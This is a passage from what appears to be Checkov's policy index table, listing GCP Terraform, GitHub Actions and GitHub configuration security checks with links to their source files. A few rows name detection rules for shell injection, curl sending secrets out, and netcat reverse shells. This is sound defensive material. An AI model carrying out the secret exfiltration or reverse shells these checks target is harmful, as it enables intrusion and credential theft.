CKV2_GCP_3               | resource                         | google_service_account_key                                                                       | Ensure that there are only GCP-managed service account keys for each service account                                                                                                                     | Terraform               | [ServiceAccountHasGCPmanagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml)                                                           |\n| 6557 | CKV2_GCP_4               | resource                         | google_logging_folder_sink                                                                       | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform               | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 6558 | CKV2_GCP_4               | resource                         | google_logging_organization_sink                                                                 | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform               | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 6559 | CKV2_GCP_4               | resource                         | google_logging_project_sink                                                                      | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform               | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 6560 | CKV2_GCP_4               | resource                         | google_storage_bucket                                                                            | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform               | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 6561 | CKV2_GCP_5               | resource                         | google_project                                                                                   | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project                                                                                                  | Terraform               | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml)                               |\n| 6562 | CKV2_GCP_5               | resource                         | google_project_iam_audit_config                                                                  | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project                                                                                                  | Terraform               | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml)                               |\n| 6563 | CKV2_GCP_6               | resource                         | google_kms_crypto_key                                                                            | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform               | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 6564 | CKV2_GCP_6               | resource                         | google_kms_crypto_key_iam_binding                                                                | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform               | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 6565 | CKV2_GCP_6               | resource                         | google_kms_crypto_key_iam_member                                                                 | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform               | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 6566 | CKV2_GCP_7               | resource                         | google_sql_database_instance                                                                     | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges                                                                                                    | Terraform               | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml)         |\n| 6567 | CKV2_GCP_7               | resource                         | google_sql_user                                                                                  | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges                                                                                                    | Terraform               | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml)         |\n| 6568 | CKV2_GCP_8               | resource                         | google_kms_key_ring                                                                              | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform               | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 6569 | CKV2_GCP_8               | resource                         | google_kms_key_ring_iam_binding                                                                  | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform               | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 6570 | CKV2_GCP_8               | resource                         | google_kms_key_ring_iam_member                                                                   | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform               | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 6571 | CKV2_GCP_9               | resource                         | google_container_registry                                                                        | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform               | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 6572 | CKV2_GCP_9               | resource                         | google_storage_bucket_iam_binding                                                                | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform               | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 6573 | CKV2_GCP_9               | resource                         | google_storage_bucket_iam_member                                                                 | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform               | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 6574 | CKV2_GCP_10              | resource                         | google_cloudfunctions_function                                                                   | Ensure GCP Cloud Function HTTP trigger is secured                                                                                                                                                        | Terraform               | [CloudFunctionSecureHTTPTrigger.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml)                                                           |\n| 6575 | CKV2_GCP_11              | resource                         | google_project_services                                                                          | Ensure GCP GCR Container Vulnerability Scanning is enabled                                                                                                                                               | Terraform               | [GCRContainerVulnerabilityScanningEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml)                                       |\n| 6576 | CKV2_GCP_12              | resource                         | google_compute_firewall                                                                          | Ensure GCP compute firewall ingress does not allow unrestricted access to all ports                                                                                                                      | Terraform               | [GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml)                           |\n| 6577 | CKV2_GCP_13              | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database flag 'log_duration' is set to 'on'                                                                                                                                            | Terraform               | [GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml)                           |\n| 6578 | CKV2_GCP_14              | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off'                                                                                                                                     | Terraform               | [GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml)             |\n| 6579 | CKV2_GCP_15              | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off'                                                                                                                                       | Terraform               | [GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml)                 |\n| 6580 | CKV2_GCP_16              | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off'                                                                                                                                      | Terraform               | [GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml)               |\n| 6581 | CKV2_GCP_17              | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off'                                                                                                                                    | Terraform               | [GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml)           |\n| 6582 | CKV2_GCP_18              | resource                         | google_compute_network                                                                           | Ensure GCP network defines a firewall and does not use the default firewall                                                                                                                              | Terraform               | [GCPNetworkDoesNotUseDefaultFirewall.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml)                                                 |\n| 6583 | CKV2_GCP_19              | resource                         | google_container_cluster                                                                         | Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled                                                                                                                              | Terraform               | [GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml)         |\n| 6584 | CKV2_GCP_20              | resource                         | google_sql_database_instance                                                                     | Ensure MySQL DB instance has point-in-time recovery backup configured                                                                                                                                    | Terraform               | [GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml)           |\n| 6585 | CKV2_GCP_21              | resource                         | google_notebooks_instance                                                                        | Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK)                                                                                                                          | Terraform               | [GCPVertexInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml)                                                     |\n| 6586 | CKV2_GCP_22              | resource                         | google_document_ai_processor                                                                     | Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK)                                                                                                                            | Terraform               | [GCPDocumentAIProcessorEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml)                                           |\n| 6587 | CKV2_GCP_23              | resource                         | google_document_ai_warehouse_location                                                            | Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK)                                                                                                                  | Terraform               | [GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml)                           |\n| 6588 | CKV2_GCP_24              | resource                         | google_vertex_ai_endpoint                                                                        | Ensure Vertex AI endpoint uses a Customer Managed Key (CMK)                                                                                                                                              | Terraform               | [GCPVertexAIEndpointEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml)                                                 |\n| 6589 | CKV2_GCP_25              | resource                         | google_vertex_ai_featurestore                                                                    | Ensure Vertex AI featurestore uses a Customer Managed Key (CMK)                                                                                                                                          | Terraform               | [GCPVertexAIFeaturestoreEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml)                                         |\n| 6590 | CKV2_GCP_26              | resource                         | google_vertex_ai_tensorboard                                                                     | Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK)                                                                                                                                           | Terraform               | [GCPVertexAITensorboardEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml)                                           |\n| 6591 | CKV2_GCP_27              | resource                         | google_workbench_instance                                                                        | Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK)                                                                                                                | Terraform               | [GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml)                                   |\n| 6592 | CKV2_GCP_28              | resource                         | google_workbench_instance                                                                        | Ensure Vertex AI workbench instances are private                                                                                                                                                         | Terraform               | [GCPVertexWorkbenchInstanceNoPublicIp.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml)                                               |\n| 6593 | CKV2_GCP_29              | resource                         | google_dialogflow_agent                                                                          | Ensure logging is enabled for Dialogflow agents                                                                                                                                                          | Terraform               | [GCPDialogFlowAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml)                                                       |\n| 6594 | CKV2_GCP_30              | resource                         | google_dialogflow_cx_agent                                                                       | Ensure logging is enabled for Dialogflow CX agents                                                                                                                                                       | Terraform               | [GCPDialogFlowCxAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml)                                                   |\n| 6595 | CKV2_GCP_31              | resource                         | google_dialogflow_cx_webhook                                                                     | Ensure logging is enabled for Dialogflow CX webhooks                                                                                                                                                     | Terraform               | [GCPDialogFlowCxWebhookLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml)                                               |\n| 6596 | CKV2_GCP_32              | resource                         | google_tpu_v2_vm                                                                                 | Ensure TPU v2 is private                                                                                                                                                                                 | Terraform               | [GCPTpuV2VmPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml)                                                                     |\n| 6597 | CKV2_GCP_33              | resource                         | google_vertex_ai_endpoint                                                                        | Ensure Vertex AI endpoint is private                                                                                                                                                                     | Terraform               | [GCPVertexAIPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml)                                                                   |\n| 6598 | CKV2_GCP_34              | resource                         | google_vertex_ai_index_endpoint                                                                  | Ensure Vertex AI index endpoint is private                                                                                                                                                               | Terraform               | [GCPVertexAIPrivateIndexEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml)                                                         |\n| 6599 | CKV2_GCP_35              | resource                         | google_notebooks_runtime                                                                         | Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK)                                                                                                                                  | Terraform               | [GCPVertexRuntimeEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml)                                                       |\n| 6600 | CKV2_GCP_36              | resource                         | google_notebooks_runtime                                                                         | Ensure Vertex AI runtime is private                                                                                                                                                                      | Terraform               | [GCPVertexRuntimePrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml)                                                                         |\n| 6601 | CKV2_GCP_37              | resource                         | google_compute_forwarding_rule                                                                   | Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme                                                                                                | Terraform               | [GCPComputeRegionalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml)                                             |\n| 6602 | CKV2_GCP_38              | resource                         | google_compute_global_forwarding_rule                                                            | Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme                                                                                                  | Terraform               | [GCPComputeGlobalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml)                                                 |\n| 6603 | CKV_GHA_1                | jobs                             | jobs                                                                                             | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables                                                                                                                               | github_actions          | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py)                                                                               |\n| 6604 | CKV_GHA_1                | jobs                             | jobs.*.steps[]                                                                                   | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables                                                                                                                               | github_actions          | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py)                                                                               |\n| 6605 | CKV_GHA_2                | jobs                             | jobs                                                                                             | Ensure run commands are not vulnerable to shell injection                                                                                                                                                | github_actions          | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py)                                                                                                       |\n| 6606 | CKV_GHA_2                | jobs                             | jobs.*.steps[]                                                                                   | Ensure run commands are not vulnerable to shell injection                                                                                                                                                | github_actions          | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py)                                                                                                       |\n| 6607 | CKV_GHA_3                | jobs                             | jobs                                                                                             | Suspicious use of curl with secrets                                                                                                                                                                      | github_actions          | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py)                                                                                             |\n| 6608 | CKV_GHA_3                | jobs                             | jobs.*.steps[]                                                                                   | Suspicious use of curl with secrets                                                                                                                                                                      | github_actions          | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py)                                                                                             |\n| 6609 | CKV_GHA_4                | jobs                             | jobs                                                                                             | Suspicious use of netcat with IP address                                                                                                                                                                 | github_actions          | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py)                                                                                               |\n| 6610 | CKV_GHA_4                | jobs                             | jobs.*.steps[]                                                                                   | Suspicious use of netcat with IP address                                                                                                                                                                 | github_actions          | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py)                                                                                               |\n| 6611 | CKV_GHA_5                | jobs                             | jobs                                                                                             | Found artifact build without evidence of cosign sign execution in pipeline                                                                                                                               | github_actions          | [CosignArtifacts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignArtifacts.py)                                                                                                     |\n| 6612 | CKV_GHA_6                | jobs                             | jobs                                                                                             | Found artifact build without evidence of cosign sbom attestation in pipeline                                                                                                                             | github_actions          | [CosignSBOM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignSBOM.py)                                                                                                               |\n| 6613 | CKV_GHA_7                | jobs                             | on                                                                                               | The build output cannot be affected by user parameters other than the build entry point and the top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty.                        | github_actions          | [EmptyWorkflowDispatch.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/EmptyWorkflowDispatch.py)                                                                                         |\n| 6614 | CKV2_GHA_1               | resource                         | permissions                                                                                      | Ensure top-level permissions are not set to write-all                                                                                                                                                    | github_actions          | [ReadOnlyTopLevelPermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml)                                                                |\n| 6615 | CKV_GIT_1                | resource                         | github_repository                                                                                | Ensure GitHub repository is Private                                                                                                                                                                      | Terraform               | [PrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/PrivateRepo.py)                                                                                                      |\n| 6616 | CKV_GIT_2                | resource                         | github_repository_webhook                                                                        | Ensure GitHub repository webhooks are using HTTPS                                                                                                                                                        | Terraform               | [WebhookInsecureSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/WebhookInsecureSsl.py)                                                                                        |\n| 6617 | CKV_GIT_3                | resource                         | github_repository                                                                                | Ensure GitHub repository has vulnerability alerts enabled                                                                                                                                                | Terraform               | [RepositoryEnableVulnerabilityAlerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py)                                                      |\n| 6618 | CKV_GIT_4                | resource                         | github_actions_environment_secret                                                                | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform               | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 6619 | CKV_GIT_4                | resource                         | github_actions_organization_secret                                                               | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform               | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 6620 | CKV_GIT_4                | resource                         | github_actions_secret                                                                            | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform               | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 6621 | CKV_GIT_5                | resource                         | github_branch_protection                                                                         | GitHub pull requests should require at least 2 approvals                                                                                                                                                 | Terraform               | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py)                                                                    |\n| 6622 | CKV_GIT_5                | resource                         | github_branch_protection_v3                                                                      | GitHub pull requests should require at least 2 approvals                                                                                                                                                 | Terraform               | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py)                                                                    |\n| 6623 | CKV_GIT_6                | resource                         | github_branch_protection                                                                         | Ensure GitHub branch protection rules requires signed commits                                                                                                                                            | Terraform               | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py)                                                    |\n| 6624 | CKV_GIT_6                | resource                         | github_branch_protection_v3                                                                      | Ensure GitHub branch protection rules requires signed commits                                                                                                                                            | Terraform               | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py)                                                    |\n| 6625 | CKV2_GIT_1               | resource                         | github_repository                                                                                | Ensure each Repository has branch protection associated                                                                                                                                                  | Terraform               | [RepositoryHasBranchProtection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml)                                                          |\n| 6626 | CKV_GITHUB_1             | github_configuration             | *                                                                                                | Ensure GitHub organization security settings require 2FA                                                                                                                                                 | github_configuration    | [2fa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/2fa.py)                                                                                                                                         |\n| 6627 | CKV_GITHUB_2             | github_configuration             | *                                                                                                | Ensure GitHub organization security settings require SSO                                                                                                                                                 | github_configuration    | [sso.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/sso.py)                                                                                                                                         |\n| 6628 | CKV_GITHUB_3             | github_configuration             | *                                                                                                | Ensure GitHub organization security settings has IP allow list enabled                                                                                                                                   | github_configuration    | [ipallowlist.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/ipallowlist.py)                                                                                                                         |\n| 6629 | CKV_GITHUB_4             | github_configuration             | *                                                                                                | Ensure GitHub branch protection rules requires signed commits                                                                                                                                            | github_configuration    | [require_signatures.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_signatures.py)                                                                                                           |\n| 6630 | CKV_GITHUB_5             | github_configuration             | *                                                                                                | Ensure GitHub branch protection rules does not allow force pushes                                                                                                                                        | github_configuration    | [disallow_force_pushes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_force_pushes.py)                                                                                                     |\n| 6631 | CKV_GITHUB_6             | github_configuration             | *                                                                                                | Ensure GitHub organization webhooks are using HTTPS                                                                                                                                                      | github_configuration    | [webhooks_https_orgs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_orgs.py)                                                                                                         |\n| 6632 | CKV_GITHUB_7             | github_configuration             | *                                                                                                | Ensure GitHub repository webhooks are using HTTPS                                                                                                                                                        | github_configuration    | [webhooks_https_repos.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_repos.py)                                                                                                       |\n| 6633 | CKV_GITHUB_8             | github_configuration             | *                                                                                                | Ensure GitHub branch protection rules requires linear history                                                                                                                                            | github_configuration    | [require_linear_history.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_linear_history.py)                                                                                                   |\n| 6634 | CKV_GITHUB_9             | github_configuration             | *                                                                                                | Ensure 2 admins are set for each repository                                                                                                                                                              | github_configuration    | [repository_collaborators.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/repository_collaborators.py)                                                                                               |\n| 6635 | CKV_GITHUB_10            | github_configuration             | *                                                                                                | Ensure branch protection rules are enforced on administrators                                                                                                                                            | github_configuration    | [enforce_branch_protection_admins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/enforce_branch_protection_admins.py)                                                                               |\n| 6636 | CKV_GITHUB_11            | github_configuration             | *                                                                                                | Ensure GitHub branch protection dismisses stale review on new commit                                                                                                                                     | github_configuration    | [dismiss_stale_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/dismiss_stale_reviews.py)                                                                                                     |\n| 6637 | CKV_GITHUB_12            | github_configuration             | *                                                                                                | Ensure GitHub branch protection restricts who can dismiss PR reviews                                                                                                                                     | github_configuration    | [restrict_pr_review_dismissal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/restrict_pr_review_dismissal.py)                                                                                       |\n| 6638 | CKV_GITHUB_13            | github_configuration             | *                                                                                                | Ensure GitHub branch protection requires CODEOWNER reviews                                                                                                                                               | github_configuration    | [require_code_owner_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_code_owner_reviews.py)                                                                                           |\n| 6639 | CKV_GITHUB_14            | github_configuration             | *                                                                                                | Ensure all checks have passed before the merge of new code                                                                                                                                               | github_configuration    | [require_status_checks_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_status_checks_pr.py)                                                                                               |\n| 6640 | CKV_GITHUB_15            | github_configuration             | *                                                                                                | Ensure inactive branches are reviewed and removed periodically                                                                                                                                           | github_configuration    | [disallow_inactive_branch_60days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_inactive_branch_60days.py)                                                                                 |\n| 6641 | CKV_GITHUB_16            | github_configuration             | *                                                                                                | Ensure GitHub branch protection requires conversation resolution                                                                                                                                         | github_configuration    | [require_conversation_resolution.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_conversation_resolution.py)                                                                                 |\n| 6642 | CKV_GITHUB_17            | github_configuration             | *                                                                                                | Ensure GitHub branch protection requires push restrictions                                                                                                                                               | github_configuration    | [require_push_restrictions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_push_restrictions.py)                                                                                             |\n| 6643 | CKV_GITHUB_18            | github_configuration             | *                                                                                                | Ensure GitHub branch protection rules does not allow deletions                                                                                                                                           | github_configuration    | [disallow_branch_deletions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_branch_deletions.py)                                                                                             |\n| 6644 | CKV_GITHUB_19            | github_configuration             | *                                                                                                | Ensure any change to code receives approval of two strongly authenticated users                                                                                                                          | github_configuration    | 